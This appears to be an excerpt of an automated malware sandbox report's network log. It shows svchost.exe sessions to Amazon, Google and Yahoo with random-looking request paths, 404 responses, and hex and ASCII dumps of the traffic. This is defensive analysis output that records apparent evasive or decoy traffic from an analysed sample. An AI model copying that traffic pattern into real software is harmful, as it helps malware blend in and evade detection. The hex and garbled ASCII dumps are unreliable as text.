4c 9a 85 86 4c 59 f4 0f 48 78 a5 13 88 e5 21 97 93 00 8a ac d0 f2 5e e1 c3 e8 ac 8f f0 7f Data Ascii: ;QXZLF[OEymzS7ej%4:W??;"!{FgexPZvw5x9'k_S=iIFR}DT!zl=8S@=CQB+>NU}Hg40bLm5Vw@4aO)$1(+bLLYHx!^
2021-09-28 07:53:18 UTC	278	IN	Data Raw: a6 3e e4 72 a0 7c c6 e5 b2 fb ce d9 12 8a 66 65 f4 3c 36 3f ed ac 1e 99 98 40 76 39 4e 0c 9f 96 b4 7f ba 43 f3 27 50 5a f9 83 81 fe 88 57 06 dd d5 19 e6 50 8e 51 67 8a d1 52 46 07 7e 9b e7 5c bd c5 76 e3 a5 b7 87 f7 b2 40 87 f0 75 df 9e 40 48 10 14 cb 74 26 bd 39 18 85 ff d8 5e fc 5c f7 a2 6f a0 e9 08 af 34 aa 9a 7c 15 f4 d1 45 9a cf a7 ec c7 ac ab 01 b7 8b 73 3c 5e 30 94 cd 89 6b cf 06 bc 4e 64 dc c9 56 1a ee c9 dd c4 5f 68 22 5a 61 e3 75 12 12 40 d1 d7 99 4f f6 0d bc 5c 21 90 e4 62 36 00 b6 b5 e2 0c bd f8 a6 5c d5 ce 59 cb ed 3e 75 01 a2 3c b3 0e 5d 49 bc 07 84 6c d7 f6 8e cf 25 fa 46 7f 87 04 6a cf 76 02 0c be 12 37 77 a8 f5 7d fc 79 46 49 f0 d4 d3 ed 9a 8e 8d fa 05 5f fa 58 59 5a 86 33 82 50 70 16 4d c1 34 3f 38 20 79 30 2c 61 7c bd 15 11 29 72 2d 40 Data Ascii: >r\|fe<6?@v9NC'PZWPQgRF~\v@u@Ht&9^\o4\|Es<^0kNdV_h"Zau@O\!b6\Y>u<]Il%Fjv7w}yFI_XYZ3PpM4?8 y0,a\|)r-@
2021-09-28 07:53:18 UTC	282	IN	Data Raw: 39 be 48 98 be 01 e4 9b 3d 04 b7 0d e0 ae b3 46 85 95 70 af b1 b6 fc 38 f1 cc fc 1c a2 30 3f 14 a1 16 36 3e 85 cd 21 27 e1 d6 fa 4f fa 81 a4 3a 9b 2b 47 43 dc 38 c2 fe 0f de ff 05 33 e2 e2 d9 90 3a 86 a0 ab 02 67 c5 e0 bf 40 3c 77 c3 03 b5 e4 5d 7a 0b a4 ee e3 6d 39 5d e7 8c 74 e2 37 5f 20 03 21 67 cd fb bb 99 91 e3 4e 98 a4 cf 93 c9 fa 98 83 88 85 ea d1 c3 62 5b 6e 86 10 b3 2f dd 8c 7f 19 6d e9 3d 89 49 c1 3b f8 50 f6 3c e0 fa af ac 96 9c 90 2e 4b 4b 8b 1b fd ae ab e7 b7 5b 13 ac 68 47 2a 28 f9 19 5f 4f 96 84 d8 37 3e e7 57 3c f7 d7 f5 e0 84 47 fb b1 ce 62 e3 13 c9 ec 6d 14 37 05 fb a3 81 4b 5f 38 69 39 e3 26 f8 56 43 c9 a1 23 e0 d0 eb 12 e5 6f 91 96 f2 0a 80 ee bb 90 d7 4a fd 8d b4 f3 33 2b af 8e b1 b7 cf 4a 36 56 35 fd 51 21 7d 08 00 22 b6 b2 40 f5 e8 Data Ascii: 9H=Fp80?6>!'O:+GC83:g@<w]zm9]t7_ !gNb[n/m=I;P<.KK[hG*(_O7>W<Gbm7K_8i9&VC#oJ3+J6V5Q!}"@
2021-09-28 07:53:18 UTC	286	IN	Data Raw: a1 05 79 2d d5 85 55 27 39 fe bf 49 5b 74 67 d3 49 7f 60 76 57 9f 63 a6 b8 dc ba a8 ae 2f b4 5a 33 14 87 30 7b 7b 73 71 e9 4f 0d 5f 13 47 9b 90 ea 0d 87 3d cb 4b 66 b3 ad 20 61 7e 0c 7f 61 fb 1b 89 fb 60 b8 18 ab a6 0d 82 49 57 99 5a 06 01 34 37 da f1 28 56 25 02 01 4e 47 4c 48 60 3c 23 ee 00 df dc 8f 32 06 9d f1 9c 2f 3e d4 03 50 b9 ee 62 77 2b aa 72 04 e2 d7 6a ec 4f dc 5e f6 fa f2 67 3e da f0 11 b6 e0 b5 27 da 13 93 94 ff c8 45 18 7f ba f4 47 60 3d d9 90 4f ff b2 fa ed 59 a4 8a 4e aa 86 3d 66 60 1c 8f f4 68 3d 7a 50 ae 63 a4 78 ba a3 19 be fc c4 d7 58 2f 3e 4b 56 bc f4 8f ee 10 05 e9 b4 c9 26 80 8b 83 23 ab 35 0d 8d b0 56 34 9e 74 e3 cd 3f 13 43 62 79 f9 60 9e 57 25 91 b7 12 75 05 a1 11 01 6a 00 99 9a 17 7f d9 e6 b6 85 d7 a0 50 c8 cb 9c ae f8 da 92 f5 Data Ascii: y-U'9I[tgI`vWc/Z30{{sqO_G=Kf a~a`IWZ47(V%NGLH`<#2/>Pbw+rjO^g>'EG`=OYN=f`h=zPcxX/>KV&#5V4t?Cby`W%ujP
2021-09-28 07:53:18 UTC	290	IN	Data Raw: 49 31 be a1 ab 0c c8 94 27 34 ae c8 d8 19 88 e6 69 c9 a9 1f eb d7 8b 3a 97 cb a8 ac d1 96 04 1a 3d 9a 83 fa 92 fe ec 6b 1b 53 b4 b2 5e 99 ca 8b c2 89 ff 94 92 2a 2e 17 70 27 28 44 95 c6 8f a8 aa b6 6e 85 b9 06 f7 e8 4d 65 a5 af 61 a7 a3 d9 cc 3e e2 4b d0 cf f0 d7 11 f6 0f 2a a4 89 50 56 6c 30 05 b3 65 d5 41 1f fb db 19 fb 97 74 96 a8 08 74 9e 9a 4d 91 b9 7d 79 46 ad 17 71 45 4a a4 cc be c4 af ad 3c 59 19 ae 6a 10 13 b5 72 fd 8c 8b 01 28 2f bd 2d 84 e5 e1 a7 6b 39 e8 e8 8c 52 26 c0 7a 77 87 16 01 be 98 d9 23 3b ff 8e b1 99 53 8c 89 88 e1 8e 4e a7 5f c5 b9 5b e3 3f b5 cf ea 5f 44 f2 db b0 d4 31 48 44 46 ac ae c0 0b 7c 70 df 41 2a e8 ee 14 ba 48 49 df a3 6c ab 53 e3 aa 89 8d 3c e8 a0 c0 57 d1 51 7d a3 05 36 6c 20 ae a2 7b 64 d1 a1 46 49 0e f4 32 c4 62 e9 f7 Data Ascii: I1'4i:=kS^.p'(DnMea>KPVl0eAttM}yFqEJ<Yjr(/-k9R&zw#;SN_[?_D1HDF\|pA*HIlS<WQ}6l {dFI2b
2021-09-28 07:53:18 UTC	294	IN	Data Raw: 58 41 db ea cc 35 1b e1 56 21 88 6f b7 ac 42 f1 d8 89 4e e0 dc 18 f6 63 de 1d f3 db 65 57 c7 8f 0b f4 75 d8 57 70 b8 6a ce 5a 82 b2 f6 1a 83 71 09 62 d7 6a 79 47 8a 11 d5 fa 59 ac 55 c9 01 44 79 b8 e7 17 a3 d8 11 bc b9 5e 76 7c 89 23 85 86 f1 5c 5a fd 64 0a 21 a2 9e 51 d4 a4 7b 54 24 8c 46 31 28 34 06 e4 b0 a7 d5 f8 a6 48 18 6e a9 85 cc 49 6e 19 54 7f d2 76 b1 23 7f 7f 4a fc 32 1c 02 80 60 f5 55 d2 26 76 a1 9a 27 e8 a1 a4 ec 68 75 d5 01 b9 63 64 8f 82 86 54 04 35 a8 1a 47 b6 e7 17 bb 49 ee cc a2 e0 ae bc 80 71 d0 26 60 e1 e9 c6 db 05 95 08 21 d8 9b 37 34 e1 0f 17 ca c9 2e a8 bf 1e 55 bb 6c 2e 03 1f 2e ac 12 a0 57 8e f2 d3 10 09 9e 3a 23 1a 61 54 f5 f1 2e 18 ae b0 a8 bd 2f 41 1a 81 a8 e1 e0 f2 2c 0a 9a 54 69 b6 15 c5 f7 02 0b 84 c1 4a 20 77 82 36 af d9 c4 Data Ascii: XA5V!oBNceWuWpjZqbjyGYUDy^v\|#\Zd!Q{T$F1(4HnInTv#J2`U&v'hucdT5GIq&`!74.Ul..W:#aT./A,TiJ w6
2021-09-28 07:53:18 UTC	298	IN	Data Raw: 22 f2 28 43 a9 ee 64 eb 62 40 84 22 71 84 e5 7c bb 09 58 5e da 6a 9e 16 9a f4 aa da bb 3a 82 60 17 99 37 3d f4 08 30 c0 0b c6 ce f7 49 b9 01 e6 ae a3 70 3f f5 f9 09 95 27 4c 6a d5 c9 41 b3 b8 5a 5e 73 5d 06 c6 76 da 43 a4 48 72 c1 e8 6e 0e 28 ff e5 f3 51 6e f7 fa 7d 87 bb 93 d0 bc ff 7d 0e 0f 7b 63 68 37 1e 75 2a 8d 3d 02 aa 72 0b 9b 1e a3 fd d4 4b 2c f5 30 07 81 97 90 2d 80 10 57 8e d2 97 5c 47 28 d4 65 b8 a0 16 02 a3 fb 33 bf 04 e6 ee 11 c8 22 99 21 68 d2 74 75 c2 07 46 ee 8d 56 7e 20 79 66 fb 74 89 25 ad 16 45 13 e3 d0 89 cc e6 e8 52 1b 03 32 7e cf a6 e2 a4 f2 81 99 03 08 41 2c d3 f3 b1 57 2f a2 91 e2 d7 25 f4 ba d0 20 a2 e0 5d cf f9 2d 13 62 66 6b 21 b1 6b 31 e8 64 24 b8 b1 96 db 99 a1 95 c7 52 2d e8 a5 7e c3 f7 2f 8a 31 b0 e2 f2 de 9f 30 e6 fb 37 ec Data Ascii: "(Cdb@"q\|X^j:`7=0Ip?'LjAZ^s]vCHrn(Qn}}{ch7u*=rK,0-W\G(e3"!htuFV~ yft%ER2~A,W/% ]-bfk!k1d$R-~/107
2021-09-28 07:53:18 UTC	302	IN	Data Raw: fa 08 6b b0 58 1a 44 ed 54 94 c2 2e 7d 8f c1 4a 24 ad 88 2c 77 97 3c eb 6c a0 81 7f b0 cf b6 f4 aa cf c7 df 57 4c eb 68 d7 0c a4 df 42 fb 15 27 33 8a 20 3f b6 38 b5 39 db 70 45 a7 f2 a3 a8 73 2d c0 06 69 af 32 7b f6 7d a6 67 e2 98 01 2e df 3e 36 4c 92 df 55 89 e1 08 c6 9c 89 12 8d 55 20 cf 11 8d f5 e7 a0 39 bc ef 5a 01 c9 c5 d3 60 5c e8 37 5f 3f 2e 08 14 db b8 da 2e ac 39 fe 63 d9 c4 23 29 33 3e ec 9f c2 03 46 82 1f 5c ea 0c de fa 6d 98 53 df 96 00 44 0e 1b f5 4b 06 f0 00 da a9 7a 43 9d eb 93 41 8b bb 6e d5 07 70 cc 4e f5 f5 28 57 38 65 18 18 87 e4 36 e9 53 f7 a9 62 ce a8 2b 97 ee 39 6d 77 c7 22 82 c5 73 61 68 dd c2 4e 30 c4 4d cf 14 f9 9e d2 90 82 c5 b8 dc 2b ba e5 ff 67 e1 98 78 d1 35 b3 c4 f6 91 7e 59 96 49 cc 6a df ef 85 37 3d f4 58 1f 06 5b 55 a7 91 Data Ascii: kXDT.}J$,w<lWLhB'3 ?89pEs-i2{}g.>6LUU 9Z`\7_?..9c#)3>F\mSDKzCAnpN(W8e6Sb+9mw"sahN0M+gx5~YIj7=X[U

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.3	49947	162.219.225.118	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:02 UTC	962	OUT	GET /2pch5QEmrLw3xzJnnrzlGa5irLxuivFs/ltMi7hhX5tt4vs3rSp9duhmj/z88857flzovnw1O25vzu/y10gyol724X6l1bgprz0jref1Eq2ggRYdM0f7h/mdwb6lxX3n2on6rC6t5yv1/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.amazon.com Connection: Keep-Alive
2021-09-28 07:54:02 UTC	962	IN	HTTP/1.1 404 Not Found Connection: close Content-Length: 897 server: Server date: Tue, 28 Sep 2021 07:54:02 GMT content-type: text/html permissions-policy: interest-cohort=() x-amz-rid: C980KY0CDT23M4WKPGC9 x-sdch-encode: 0 last-modified: Tue, 10 Aug 2021 22:12:21 GMT etag: "687-5c93bcbae3b40-gzip" accept-ranges: bytes content-encoding: gzip vary: Accept-Encoding,User-Agent,Content-Type,Accept-Encoding,X-Amzn-CDN-Cache,X-Amzn-AX-Treatment,User-Agent strict-transport-security: max-age=47474747; includeSubDomains; preload x-frame-options: SAMEORIGIN
2021-09-28 07:54:02 UTC	963	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 55 5d 6f db 36 14 fd 2b 2c 85 0e f1 12 59 92 93 74 8d be b0 15 ed 82 3d 6c 18 d0 00 7b 18 86 80 22 af 28 2e 14 c9 91 57 8e 5d c3 ff 7d 90 e4 d8 6e fa d8 07 11 22 75 ef 3d f7 1c f2 50 e5 1b 61 39 6e 1d 90 0e 7b 5d 97 87 11 98 a8 cb 1e 90 11 de 31 1f 00 2b 3a 60 1b bf a7 87 d5 0e d1 c5 f0 df a0 d6 15 dd c4 03 8b b9 ed 1d 43 d5 68 a0 84 5b 83 60 b0 a2 0a 2a 10 12 5e 92 0c eb a1 a2 6b 05 cf ce 7a 3c 8b 7b 56 02 bb 4a c0 5a 71 88 a7 c9 15 51 46 a1 62 3a 0e 9c 69 a8 b2 2b 12 3a af cc 53 8c 36 6e 15 56 c6 d2 ba 44 85 1a ea 5f 7a f6 c5 9a 25 b7 3d f9 93 49 20 7f 58 24 bf da c1 88 32 99 03 ca 80 5b 0d f5 48 ed aa b1 62 bb 73 4c 08 65 64 9e 16 3d f3 52 99 3c dd ab 5e ee 1a eb 05 f8 3c dd 47 ec 2a 6a 76 0d e3 4f d2 8f 85 f2 68 75 bd Data Ascii: U]o6+,Yt=l{"(.W]}n"u=Pa9n{]1+:`Ch[`^kz<{VJZqQFb:i+:S6nVD_z%=I X$2[HbsLed=R<^<GjvOhu

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.3	49949	142.250.185.196	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:03 UTC	963	OUT	GET /Nf3BeR1dvs73zpiul00tcpCos/5t19ynE0swdpm3BvhfcklqNnvW1ipuyn6TRC2e2rhjnn5ahx/a5afq4Z2g8xLmcypponB0ExM8f/qvvmxll8k7n0kyoxzrynms7sp5g0/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.google.com Connection: Keep-Alive
2021-09-28 07:54:03 UTC	964	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1692 Date: Tue, 28 Sep 2021 07:54:03 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2021-09-28 07:54:03 UTC	964	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-se
2021-09-28 07:54:03 UTC	965	IN	Data Raw: 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e Data Ascii: r_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brandin

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.3	49950	87.248.100.216	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:03 UTC	966	OUT	GET /rAYqlr7w2jOed6cqvhudH4V3fxry/sly7yksizcng2x2O2Hfhb/9XAcb6x8go6NeaaU/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.yahoo.com Connection: Keep-Alive Cookie: B=clggcmtgl5iga&b=3&s=a5
2021-09-28 07:54:03 UTC	966	IN	HTTP/1.1 404 Not Found date: Tue, 28 Sep 2021 07:54:03 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: private x-content-type-options: nosniff content-type: text/html; charset=UTF-8 x-envoy-upstream-service-time: 8 server: ATS Content-Length: 708 Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Content-Security-Policy: frame-ancestors 'self' https://.builtbygirls.com https://.rivals.com https://.engadget.com https://.intheknow.com https://.autoblog.com https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.search.aol.com https://.search.huffpost.com https://.verizonmedia.com https://.publishing.oath.com https://.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=atl0na1gl5igr&partner=; X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block
2021-09-28 07:54:03 UTC	967	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 42 3d 63 6c 67 67 63 6d 74 67 6c 35 69 67 61 26 62 3d 33 26 73 3d 61 35 3b 20 45 78 70 69 72 65 73 3d 57 65 64 2c 20 32 38 20 53 65 70 20 32 30 32 32 20 31 33 3a 35 34 3a 30 33 20 47 4d 54 3b 20 4d 61 78 2d 41 67 65 3d 33 31 35 35 37 36 30 30 3b 20 44 6f 6d 61 69 6e 3d 2e 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50 61 74 68 3d 2f 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 6e 6f 2d 72 65 66 Data Ascii: Set-Cookie: B=clggcmtgl5iga&b=3&s=a5; Expires=Wed, 28 Sep 2022 13:54:03 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"Referrer-Policy: no-ref
2021-09-28 07:54:03 UTC	968	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 75 74 66 2d 38 27 3e 0a 3c 73 63 72 69 70 74 3e 0a 76 61 72 20 75 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 3f 65 72 72 3d 34 30 34 26 65 72 72 5f 75 72 6c 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 66 72 41 59 71 6c 72 37 77 32 6a 4f 65 64 36 63 71 76 68 75 64 48 34 56 33 66 78 72 79 25 32 66 73 6c 79 37 79 6b 73 69 7a 63 6e 67 32 78 32 4f 32 48 66 68 62 25 32 66 39 58 41 63 62 36 78 38 67 6f 36 4e 65 61 61 55 25 32 66 27 3b 0a 69 66 28 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 74 6f 70 29 7b 0a 20 20 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 27 3c 70 3e 43 6f 6e 74 65 6e 74 20 69 73 20 63 75 72 72 65 6e 74 Data Ascii: <html><meta charset='utf-8'><script>var u='https://www.yahoo.com/?err=404&err_url=https%3a%2f%2fwww.yahoo.com%2frAYqlr7w2jOed6cqvhudH4V3fxry%2fsly7yksizcng2x2O2Hfhb%2f9XAcb6x8go6NeaaU%2f';if(window!=window.top){ document.write('<p>Content is current

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.3	49952	142.250.185.196	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:04 UTC	968	OUT	GET /1jmdPabGebdo2ZpnhGkr759rncfff5yao4i2yzxpscw5t/1psa7nilmcovum8qAymast86Pr/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.google.com Connection: Keep-Alive
2021-09-28 07:54:04 UTC	969	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1634 Date: Tue, 28 Sep 2021 07:54:04 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2021-09-28 07:54:04 UTC	969	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-se
2021-09-28 07:54:04 UTC	970	IN	Data Raw: 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e Data Ascii: r_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brandin

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.3	49953	162.219.225.118	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:04 UTC	970	OUT	GET /qvE8klae1oscwZofgUu1eoh6tadbdgqm5e6wac26/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.amazon.com Connection: Keep-Alive
2021-09-28 07:54:04 UTC	971	IN	HTTP/1.1 404 Not Found Connection: close Content-Length: 897 server: Server date: Tue, 28 Sep 2021 07:54:04 GMT content-type: text/html permissions-policy: interest-cohort=() x-amz-rid: 6NC712Y699X4R3G24WK6 x-sdch-encode: 0 last-modified: Tue, 10 Aug 2021 22:12:21 GMT etag: "687-5c93bcbae3b40-gzip" accept-ranges: bytes content-encoding: gzip vary: Accept-Encoding,User-Agent,Content-Type,Accept-Encoding,X-Amzn-CDN-Cache,X-Amzn-AX-Treatment,User-Agent strict-transport-security: max-age=47474747; includeSubDomains; preload x-frame-options: SAMEORIGIN
2021-09-28 07:54:04 UTC	971	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 55 5d 6f db 36 14 fd 2b 2c 85 0e f1 12 59 92 93 74 8d be b0 15 ed 82 3d 6c 18 d0 00 7b 18 86 80 22 af 28 2e 14 c9 91 57 8e 5d c3 ff 7d 90 e4 d8 6e fa d8 07 11 22 75 ef 3d f7 1c f2 50 e5 1b 61 39 6e 1d 90 0e 7b 5d 97 87 11 98 a8 cb 1e 90 11 de 31 1f 00 2b 3a 60 1b bf a7 87 d5 0e d1 c5 f0 df a0 d6 15 dd c4 03 8b b9 ed 1d 43 d5 68 a0 84 5b 83 60 b0 a2 0a 2a 10 12 5e 92 0c eb a1 a2 6b 05 cf ce 7a 3c 8b 7b 56 02 bb 4a c0 5a 71 88 a7 c9 15 51 46 a1 62 3a 0e 9c 69 a8 b2 2b 12 3a af cc 53 8c 36 6e 15 56 c6 d2 ba 44 85 1a ea 5f 7a f6 c5 9a 25 b7 3d f9 93 49 20 7f 58 24 bf da c1 88 32 99 03 ca 80 5b 0d f5 48 ed aa b1 62 bb 73 4c 08 65 64 9e 16 3d f3 52 99 3c dd ab 5e ee 1a eb 05 f8 3c dd 47 ec 2a 6a 76 0d e3 4f d2 8f 85 f2 68 75 bd Data Ascii: U]o6+,Yt=l{"(.W]}n"u=Pa9n{]1+:`Ch[`^kz<{VJZqQFb:i+:S6nVD_z%=I X$2[HbsLed=R<^<GjvOhu

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.3	49962	87.248.100.216	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
